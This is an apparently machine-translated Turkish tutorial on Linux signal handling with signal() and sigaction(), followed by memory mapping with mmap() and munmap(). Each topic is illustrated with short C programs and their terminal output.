Sistem çağrı sinyali (), işarette belirtildiği gibi sinyalin üretilmesi üzerine kayıtlı işleyiciyi arayacaktır. İşleyici, SIG_IGN (Sinyali Gözardı Etme), SIG_DFL (Sinyali varsayılan mekanizmaya geri ayarlama) veya kullanıcı tanımlı sinyal işleyici veya işlev adreslerinden biri olabilir.
Başarı durumunda bu sistem çağrısı, bir tamsayı bağımsız değişkeni alan ve dönüş değeri olmayan bir işlevin adresini döndürür. Bu çağrı, hata durumunda SIG_ERR döndürür.
Signal () ile kullanıcı tarafından kaydedilen ilgili sinyal işleyici çağrılabilse de, bloke edilmesi gereken sinyalleri maskeleme, bir sinyalin davranışını değiştirme gibi ince ayar ve diğer işlevler mümkün değildir. Bu, sigaction () sistem çağrısı kullanılarak mümkündür.
#include <signal.h>
int sigaction(int signum, const struct sigaction *act, struct sigaction *oldact)
Bu sistem çağrısı, bir sinyal eylemini incelemek veya değiştirmek için kullanılır. Eylem boş değilse, sinyal işareti için yeni eylem eylemden yüklenir. Oldact null değilse, önceki eylem oldact'e kaydedilir.
Sigaction yapısı aşağıdaki alanları içerir -
Field 1 - İşleyiciden ya sa_handler ya da sa_sigaction içinde bahsedilir.
void (*sa_handler)(int);
void (*sa_sigaction)(int, siginfo_t *, void *);
Sa_handler için işleyici, işarete dayalı olarak gerçekleştirilecek eylemi belirtir ve SIG_DFL varsayılan eylemi belirtirken veya SIG_IGN sinyali veya bir sinyal işleme fonksiyonuna göstericiyi yoksaymak için.
Sa_sigaction için işleyici, birinci argüman olarak sinyal numarasını, ikinci argüman olarak siginfo_t yapısına gösterici ve üçüncü argüman olarak kullanıcı bağlamına işaretçi (daha fazla ayrıntı için getcontext () veya setcontext () kontrol edin) olarak belirtir.
Siginfo_t yapısı, teslim edilecek sinyal numarası, sinyal değeri, işlem kimliği, gönderme işleminin gerçek kullanıcı kimliği vb. Gibi sinyal bilgilerini içerir.
Field 2 - Engellenecek sinyal seti.
int sa_mask;
Bu değişken, sinyal işleyicinin yürütülmesi sırasında engellenmesi gereken sinyallerin maskesini belirtir.
Field 3 - Özel bayraklar.
int sa_flags;
Bu alan, sinyalin davranışını değiştiren bir dizi bayrak belirtir.
Field 4 - İşleyiciyi geri yükleyin.
void (*sa_restorer) (void);
Bu sistem çağrısı başarı durumunda 0 ve başarısızlık durumunda -1 ile döner.
Birkaç örnek programı ele alalım.
Öncelikle, istisna oluşturan örnek bir programla başlayalım. Bu programda, sistemin bir istisna oluşturmasını sağlayan sıfıra bölme işlemi gerçekleştirmeye çalışıyoruz.
/* signal_fpe.c */
#include<stdio.h>
int main() {
int result;
int v1, v2;
v1 = 121;
v2 = 0;
result = v1/v2;
printf("Result of Divide by Zero is %d\n", result);
return 0;
}
Derleme ve Yürütme Adımları
Floating point exception (core dumped)
Bu nedenle, bir aritmetik işlem gerçekleştirmeye çalıştığımızda, sistem, sinyalin varsayılan eylemi olan çekirdek dökümü ile bir kayan nokta istisnası oluşturmuştur.
Şimdi, signal () sistem çağrısını kullanarak bu belirli sinyali işlemek için kodu değiştirelim.
/* signal_fpe_handler.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
void handler_dividebyzero(int signum);
int main() {
int result;
int v1, v2;
void (*sigHandlerReturn)(int);
sigHandlerReturn = signal(SIGFPE, handler_dividebyzero);
if (sigHandlerReturn == SIG_ERR) {
perror("Signal Error: ");
return 1;
}
v1 = 121;
v2 = 0;
result = v1/v2;
printf("Result of Divide by Zero is %d\n", result);
return 0;
}
void handler_dividebyzero(int signum) {
if (signum == SIGFPE) {
printf("Received SIGFPE, Divide by Zero Exception\n");
exit (0);
}
else
printf("Received %d Signal\n", signum);
return;
}
Derleme ve Yürütme Adımları
Received SIGFPE, Divide by Zero Exception
Tartışıldığı gibi, sinyaller sistem tarafından üretilir (sıfıra bölme gibi belirli işlemleri gerçekleştirdikten sonra) veya kullanıcı ayrıca sinyali programlı olarak da üretebilir. Programlı olarak sinyal üretmek istiyorsanız, yükselt () kitaplık işlevini kullanın.
Şimdi, sinyali işlemeyi ve görmezden gelmeyi göstermek için başka bir program alalım.
Yükseltme () kullanarak bir sinyal yükselttiğimizi varsayalım, o zaman ne olur? Sinyali yükselttikten sonra, mevcut işlemin yürütülmesi durdurulur. O halde durdurulan işleme ne olur? İki senaryo olabilir - Birincisi, gerektiğinde uygulamaya devam edin. İkinci olarak, işlemi sonlandırın (kill komutu ile).
Durdurulan sürecin yürütülmesine devam etmek için, SIGCONT'u o belirli işleme gönderin. Ayrıca, yürütmeye devam etmek için fg (ön plan) veya bg (arka plan) komutları da verebilirsiniz. Burada, komutlar yalnızca son işlemin yürütülmesini yeniden başlatır. Birden fazla işlem durdurulursa, yalnızca son işlem devam ettirilir. Önceden durdurulmuş işlemi devam ettirmek istiyorsanız, iş numarasıyla birlikte işleri (fg / bg kullanarak) devam ettirin.
Aşağıdaki program, yükseltme () işlevini kullanarak SIGSTOP sinyalini yükseltmek için kullanılır. SIGSTOP sinyali, kullanıcının CTRL + Z (Control + Z) tuşuna basılarak da üretilebilir. Bu sinyali verdikten sonra, program yürütmeyi durduracaktır. Yürütmeye devam etmek için sinyali (SIGCONT) gönderin.
Aşağıdaki örnekte, durdurulan işlemi fg komutuyla sürdürüyoruz.
/* signal_raising.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
int main() {
printf("Testing SIGSTOP\n");
raise(SIGSTOP);
return 0;
}
Derleme ve Yürütme Adımları
Testing SIGSTOP
[1]+ Stopped ./a.out
./a.out
Şimdi, başka bir terminalden SIGCONT yayınlayarak durdurulan işlemin yürütülmesine devam etmek için önceki programı geliştirin.
/* signal_stop_continue.c */
#include<stdio.h>
#include<signal.h>
#include <sys/types.h>
#include <unistd.h>
void handler_sigtstp(int signum);
int main() {
pid_t pid;
printf("Testing SIGSTOP\n");
pid = getpid();
printf("Open Another Terminal and issue following command\n");
printf("kill -SIGCONT %d or kill -CONT %d or kill -18 %d\n", pid, pid, pid);
raise(SIGSTOP);
printf("Received signal SIGCONT\n");
return 0;
}
Derleme ve Yürütme Adımları
Testing SIGSTOP
Open Another Terminal and issue following command
kill -SIGCONT 30379 or kill -CONT 30379 or kill -18 30379
[1]+ Stopped ./a.out
Received signal SIGCONT
[1]+ Done ./a.out
Başka bir terminalde
kill -SIGCONT 30379
Şimdiye kadar, sistemin ürettiği sinyali işleyen programı gördük. Şimdi, program aracılığıyla (yükseltme () işlevi kullanılarak veya öldürme komutu aracılığıyla) üretilen sinyali görelim. Bu program, varsayılan eylemi yürütmeyi durdurmak olan SIGTSTP (terminal durdurma) sinyalini üretir. Bununla birlikte, sinyali varsayılan eylem yerine şimdi işlediğimiz için, tanımlanan işleyiciye gelecektir. Bu durumda, sadece mesajı yazdırıyoruz ve çıkıyoruz.
/* signal_raising_handling.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
void handler_sigtstp(int signum);
int main() {
void (*sigHandlerReturn)(int);
sigHandlerReturn = signal(SIGTSTP, handler_sigtstp);
if (sigHandlerReturn == SIG_ERR) {
perror("Signal Error: ");
return 1;
}
printf("Testing SIGTSTP\n");
raise(SIGTSTP);
return 0;
}
void handler_sigtstp(int signum) {
if (signum == SIGTSTP) {
printf("Received SIGTSTP\n");
exit(0);
}
else
printf("Received %d Signal\n", signum);
return;
}
Derleme ve Yürütme Adımları
Testing SIGTSTP
Received SIGTSTP
Varsayılan eylemi gerçekleştirme veya sinyali işleme örneklerini gördük. Şimdi, sinyali görmezden gelme zamanı. Burada, bu örnek programda, SIGTSTP sinyalini SIG_IGN aracılığıyla yok saymak için kaydediyoruz ve sonra SIGTSTP (terminal durdurma) sinyalini yükseltiyoruz. SIGTSTP sinyali üretilirken bu dikkate alınmayacaktır.
/* signal_raising_ignoring.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
void handler_sigtstp(int signum);
int main() {
void (*sigHandlerReturn)(int);
sigHandlerReturn = signal(SIGTSTP, SIG_IGN);
if (sigHandlerReturn == SIG_ERR) {
perror("Signal Error: ");
return 1;
}
printf("Testing SIGTSTP\n");
raise(SIGTSTP);
printf("Signal SIGTSTP is ignored\n");
return 0;
}
Derleme ve Yürütme Adımları
Testing SIGTSTP
Signal SIGTSTP is ignored
Şimdiye kadar, bir sinyali işlemek için bir sinyal işleyicimiz olduğunu gözlemledik. Birden fazla sinyali işlemek için tek bir işleyicimiz olabilir mi? Cevap Evet. Bunu bir programla ele alalım.
Aşağıdaki program şunları yapar -
Step 1 - SIGINT (CTRL + C) veya SIGQUIT (CTRL + \) sinyallerini yakalamak veya işlemek için bir işleyici (handleSignals) kaydeder
Step 2 - Kullanıcı SIGQUIT sinyalini oluşturursa (kill komutu veya CTRL + \ ile klavye kontrolü yoluyla), işleyici sadece mesajı dönüş olarak yazdırır.
Step 3 - Kullanıcı ilk kez SIGINT sinyalini (ya kill komutu ya da CTRL + C ile klavye kontrolü yoluyla) üretirse, bir sonraki seferde varsayılan eylemi (SIG_DFL ile) gerçekleştirmek için sinyali değiştirir.
Step 4 - Kullanıcı ikinci kez sinyal SIGINT üretirse, programın sonlandırılması olan varsayılan bir eylemi gerçekleştirir.
/* Filename: sigHandler.c */
#include<stdio.h>
#include<unistd.h>
#include<signal.h>
void handleSignals(int signum);
int main(void) {
void (*sigHandlerInterrupt)(int);
void (*sigHandlerQuit)(int);
void (*sigHandlerReturn)(int);
sigHandlerInterrupt = sigHandlerQuit = handleSignals;
sigHandlerReturn = signal(SIGINT, sigHandlerInterrupt);
if (sigHandlerReturn == SIG_ERR) {
perror("signal error: ");
return 1;
}
sigHandlerReturn = signal(SIGQUIT, sigHandlerQuit);
if (sigHandlerReturn == SIG_ERR) {
perror("signal error: ");
return 1;
}
while (1) {
printf("\nTo terminate this program, perform the following: \n");
printf("1. Open another terminal\n");
printf("2. Issue command: kill %d or issue CTRL+C 2 times (second time it terminates)\n", getpid());
sleep(10);
}
return 0;
}
void handleSignals(int signum) {
switch(signum) {
case SIGINT:
printf("\nYou pressed CTRL+C \n");
printf("Now reverting SIGINT signal to default action\n");
signal(SIGINT, SIG_DFL);
break;
case SIGQUIT:
printf("\nYou pressed CTRL+\\ \n");
break;
default:
printf("\nReceived signal number %d\n", signum);
break;
}
return;
}
Derleme ve Yürütme Adımları
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 74 or issue CTRL+C 2 times (second time it terminates)
^C
You pressed CTRL+C
Now reverting SIGINT signal to default action
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 74 or issue CTRL+C 2 times (second time it terminates)
^\You pressed CTRL+\
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 120
Terminated
Başka bir Terminal
kill 71
İkinci Yöntem
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 71 or issue CTRL+C 2 times (second time it terminates)
^C
You pressed CTRL+C
Now reverting SIGINT signal to default action
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 71 or issue CTRL+C 2 times (second time it terminates)
^C
Bir sinyali işlemek için iki sistem çağrımız olduğunu biliyoruz, yani sinyal () veya sigaction (). Şimdiye kadar signal () sistem çağrısı ile gördük, şimdi sigaction () sistem çağrısı zamanı. Sigaction () kullanarak gerçekleştirmek için yukarıdaki programı aşağıdaki gibi değiştirelim -
/* Filename: sigHandlerSigAction.c */
#include<stdio.h>
#include<unistd.h>
#include<signal.h>
void handleSignals(int signum);
int main(void) {
void (*sigHandlerReturn)(int);
struct sigaction mysigaction;
mysigaction.sa_handler = handleSignals;
sigemptyset(&mysigaction.sa_mask);
mysigaction.sa_flags = 0;
sigaction(SIGINT, &mysigaction, NULL);
if (mysigaction.sa_handler == SIG_ERR) {
perror("signal error: ");
return 1;
}
mysigaction.sa_handler = handleSignals;
sigemptyset(&mysigaction.sa_mask);
mysigaction.sa_flags = 0;
sigaction(SIGQUIT, &mysigaction, NULL);
if (mysigaction.sa_handler == SIG_ERR) {
perror("signal error: ");
return 1;
}
while (-1) {
printf("\nTo terminate this program, perform either of the following: \n");
printf("1. Open another terminal and issue command: kill %d\n", getpid());
printf("2. Issue CTRL+C 2 times (second time it terminates)\n");
sleep(10);
}
return 0;
}
void handleSignals(int signum) {
switch(signum) {
case SIGINT:
printf("\nYou have entered CTRL+C \n");
printf("Now reverting SIGINT signal to perform default action\n");
signal(SIGINT, SIG_DFL);
break;
case SIGQUIT:
printf("\nYou have entered CTRL+\\ \n");
break;
default:
printf("\nReceived signal number %d\n", signum);
break;
}
return;
}
Derleme ve yürütme sürecini görelim. Yürütme sürecinde, CTRL + C'yi iki kez görelim, kalan kontroller / yollar (yukarıdaki gibi) bu program için de deneyebilirsiniz.
Derleme ve Yürütme Adımları
To terminate this program, perform either of the following:
1. Open another terminal and issue command: kill 3199
2. Issue CTRL+C 2 times (second time it terminates)
^C
You have entered CTRL+C
Now reverting SIGINT signal to perform default action
To terminate this program, perform either of the following:
1. Open another terminal and issue command: kill 3199
2. Issue CTRL+C 2 times (second time it terminates)
^C
Mmap () sistem çağrısı, dosyaları veya aygıtları belleğe eşleyen çağrı işleminin sanal adres alanında eşleme sağlar. Bu iki çeşittir -
File mapping or File-backed mapping- Bu eşleme, işlemin sanal belleğinin alanını dosyalara eşler. Bu, belleğin bu alanlarına okuma veya yazma, dosyanın okunmasına veya yazılmasına neden olduğu anlamına gelir. Bu, varsayılan eşleme türüdür.
Anonymous mapping- Bu eşleme, herhangi bir dosya tarafından desteklenmeden işlemin sanal belleğinin alanını eşler. İçerikler sıfır olarak başlatılır. Bu eşleme, dinamik bellek tahsisine (malloc ()) benzer ve belirli tahsisler için bazı malloc () uygulamalarında kullanılır.
Bir işlem eşlemesindeki bellek, diğer işlemlerdeki eşlemelerle paylaşılabilir. Bu iki şekilde yapılabilir -
İki işlem bir dosyanın aynı bölgesini eşlediğinde, aynı fiziksel bellek sayfalarını paylaşırlar.
Bir alt süreç oluşturulursa, üst süreç eşlemelerini devralır ve bu eşlemeler, üst süreç ile aynı fiziksel bellek sayfalarına başvurur. Alt süreçteki herhangi bir veri değişikliğinde, alt süreç için farklı sayfalar oluşturulur.
İki veya daha fazla işlem aynı sayfaları paylaştığında, her işlem, eşleme türüne bağlı olarak diğer işlemler tarafından yapılan sayfa içeriklerinde yapılan değişiklikleri görebilir. Eşleme türü özel veya paylaşımlı olabilir -
Private Mapping (MAP_PRIVATE) - Bu eşlemenin içeriğinde yapılan değişiklikler diğer işlemler tarafından görülemez ve eşleme, temel alınan dosyaya taşınmaz.
Shared Mapping (MAP_SHARED) - Bu eşlemenin içeriğinde yapılan değişiklikler diğer işlemler tarafından görülebilir ve eşleme, temel alınan dosyaya taşınır.
#include <sys/mman.h>
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
Yukarıdaki sistem çağrısı, başarılı olduğunda eşlemenin başlangıç adresini veya hata durumunda MAP_FAILED'i döndürür.
Sanal adres adres, kullanıcı tarafından belirtilebilir veya çekirdek tarafından oluşturulabilir (adres NULL olarak geçtikten sonra). Belirtilen alan uzunluğu, bayt cinsinden eşleme boyutunu gerektirir. Koruma alanı PROT_NONE, PROT_READ, PROT_WRITE, PROT_EXEC gibi sırasıyla erişilemeyen, okunamayan, yazılamayan veya yürütülemeyen bölgeler için olan bellek koruma değerlerini gösterir. Bu değer tek olabilir (PROT_NONE) veya üç işaretten herhangi biriyle ORd olabilir (son 3). Alan bayrakları, eşleme türünü veya MAP_PRIVATE veya MAP_SHARED'i gösterir. 'Fd' alanı, eşlenecek dosyayı tanımlayan dosya tanımlayıcısını belirtir ve 'offset' alanı dosyanın başlangıç noktasını belirtir, tüm dosyanın eşleştirilmesi gerekiyorsa, uzaklık sıfır olmalıdır.
#include <sys/mman.h>
int munmap(void *addr, size_t length);
Yukarıdaki sistem çağrısı başarı durumunda 0 veya hata durumunda -1 döndürür.
Sistem çağrısı munmap, halihazırda bellek eşlemeli bölgenin eşlemesini kaldırır. Adres alanları, eşlemenin başlangıç adresini belirtir ve uzunluk, eşleştirilmeyecek eşlemenin bayt cinsinden boyutunu belirtir. Genellikle, eşleme ve eşlemenin kaldırılması, eşlenen bölgelerin tamamı için olacaktır. Bunun farklı olması gerekiyorsa, ya küçültülmeli ya da iki parça halinde kesilmelidir. Adresin herhangi bir eşlemesi yoksa, bu çağrının hiçbir etkisi olmaz ve çağrı 0 (başarılı) döndürür.
Bir örnek ele alalım -
Step 1 - Aşağıda gösterildiği gibi dosyaya Alfa Sayısal karakterleri yazın -
0 | 1 | 2 | … | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | … | 59 | 60 | 61 |
A | B | C | … | Z | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | A | b | c | … | x | y | z |
Step 2- Dosya içeriğini mmap () sistem çağrısını kullanarak belleğe eşleyin. Bu, belleğe eşlendikten sonra başlangıç adresini döndürecektir.
Step 3- Pahalı read () sistem çağrısını okumadığı için dizi notasyonunu kullanarak dosya içeriğine erişin (işaretçi notasyonu ile de erişilebilir). Bellek eşlemeyi kullanarak, kullanıcı alanı, çekirdek alanı arabellekleri ve arabellek önbelleği arasında birden çok kopyalama yapmaktan kaçının.
Step 4 - Kullanıcı “-1” girene kadar dosya içeriğini okumayı tekrarlayın (erişimin sonunu belirtir).
Step 5 - Temizleme etkinliklerini gerçekleştirin, yani eşlenen bellek bölgesini (munmap ()) eşleştirin, dosyayı kapatın ve dosyayı kaldırın.
/* Filename: mmap_test.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/mman.h>
void write_mmap_sample_data();
int main() {
struct stat mmapstat;
char *data;
int minbyteindex;
int maxbyteindex;
int offset;
int fd;
int unmapstatus;
write_mmap_sample_data();
if (stat("MMAP_DATA.txt", &mmapstat) == -1) {
perror("stat failure");
return 1;
}
if ((fd = open("MMAP_DATA.txt", O_RDONLY)) == -1) {
perror("open failure");
return 1;
}
data = mmap((caddr_t)0, mmapstat.st_size, PROT_READ, MAP_SHARED, fd, 0);
if (data == (caddr_t)(-1)) {
perror("mmap failure");
return 1;
}
minbyteindex = 0;
maxbyteindex = mmapstat.st_size - 1;
do {
printf("Enter -1 to quit or ");
printf("enter a number between %d and %d: ", minbyteindex, maxbyteindex);
scanf("%d",&offset);
if ( (offset >= 0) && (offset <= maxbyteindex) )
printf("Received char at %d is %c\n", offset, data[offset]);
else if (offset != -1)
printf("Received invalid index %d\n", offset);
} while (offset != -1);
unmapstatus = munmap(data, mmapstat.st_size);
if (unmapstatus == -1) {
perror("munmap failure");
return 1;
}
close(fd);
system("rm -f MMAP_DATA.txt");
return 0;
}
void write_mmap_sample_data() {
int fd;
char ch;
struct stat textfilestat;
fd = open("MMAP_DATA.txt", O_CREAT|O_TRUNC|O_WRONLY, 0666);
if (fd == -1) {
perror("File open error ");
return;
}
// Write A to Z
ch = 'A';
while (ch <= 'Z') {
write(fd, &ch, sizeof(ch));
ch++;
}
// Write 0 to 9
ch = '0';
while (ch <= '9') {
write(fd, &ch, sizeof(ch));
ch++;
}
// Write a to z
ch = 'a';
while (ch <= 'z') {
write(fd, &ch, sizeof(ch));
ch++;
}
close(fd);
return;
}
Çıktı
Enter -1 to quit or enter a number between 0 and 61: 3
Received char at 3 is D
Enter -1 to quit or enter a number between 0 and 61: 28
Received char at 28 is 2
Enter -1 to quit or enter a number between 0 and 61: 38
Received char at 38 is c
Enter -1 to quit or enter a number between 0 and 61: 59
Received char at 59 is x
Enter -1 to quit or enter a number between 0 and 61: 65
Received invalid index 65
Enter -1 to quit or enter a number between 0 and 61: -99
Received invalid index -99
Enter -1 to quit or enter a number between 0 and 61: -1